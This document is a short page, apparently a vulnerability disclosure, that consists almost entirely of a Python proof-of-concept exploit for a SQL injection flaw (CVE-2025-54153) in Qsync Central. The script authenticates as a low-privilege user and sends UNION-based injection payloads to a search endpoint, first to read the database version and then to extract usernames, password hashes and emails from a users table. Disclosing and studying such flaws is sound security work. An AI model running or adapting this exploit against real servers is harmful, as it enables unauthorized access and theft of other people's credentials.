CVE-2025-54153：Qsync Central SQL注入漏洞

# CVE-2025-54153 - Qsync Central SQL Injection PoC # This PoC demonstrates the SQL injection vulnerability in Qsync Central # Requires a valid low-privilege user account import requests import sys TARGET_URL = "https://target-qsync-central:8080" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain a valid session def authenticate(target, username, password): session = requests.Session() login_url = f"{target}/api/v1/auth/login" data = { "username": username, "password": password } response = session.post(login_url, json=data, verify=False) if response.status_code == 200: print("[+] Authentication successful") return session else: print("[-] Authentication failed") sys.exit(1) # Step 2: Exploit SQL Injection in vulnerable parameter def exploit_sqli(session, target): # The vulnerable endpoint accepts user input that is directly concatenated # into SQL queries without proper parameterization vulnerable_endpoint = f"{target}/api/v1/sync/search" # SQL injection payload to extract database version # Uses UNION-based injection to retrieve sensitive information sqli_payload = "' UNION SELECT @@version,user(),database()-- -" params = { "keyword": sqli_payload } response = session.get(vulnerable_endpoint, params=params, verify=False) if response.status_code == 200: print("[+] SQL Injection successful!") print(f"[+] Response: {response.text}") return response.text else: print(f"[-] Exploit failed, status code: {response.status_code}") return None # Step 3: Extract user credentials (example) def extract_credentials(session, target): vulnerable_endpoint = f"{target}/api/v1/sync/search" # Payload to extract username and password hash from users table payload = "' UNION SELECT username,password_hash,email FROM users-- -" params = {"keyword": payload} response = session.get(vulnerable_endpoint, params=params, verify=False) if response.status_code == 200: print("[+] Credentials extracted successfully") return response.text return None if __name__ == "__main__": print(f"[*] Targeting: {TARGET_URL}") session = authenticate(TARGET_URL, USERNAME, PASSWORD) exploit_sqli(session, TARGET_URL) extract_credentials(session, TARGET_URL)